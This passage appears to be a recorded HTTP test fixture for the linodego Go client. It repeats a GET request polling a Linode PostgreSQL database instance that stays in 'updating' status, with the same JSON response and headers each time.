max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": 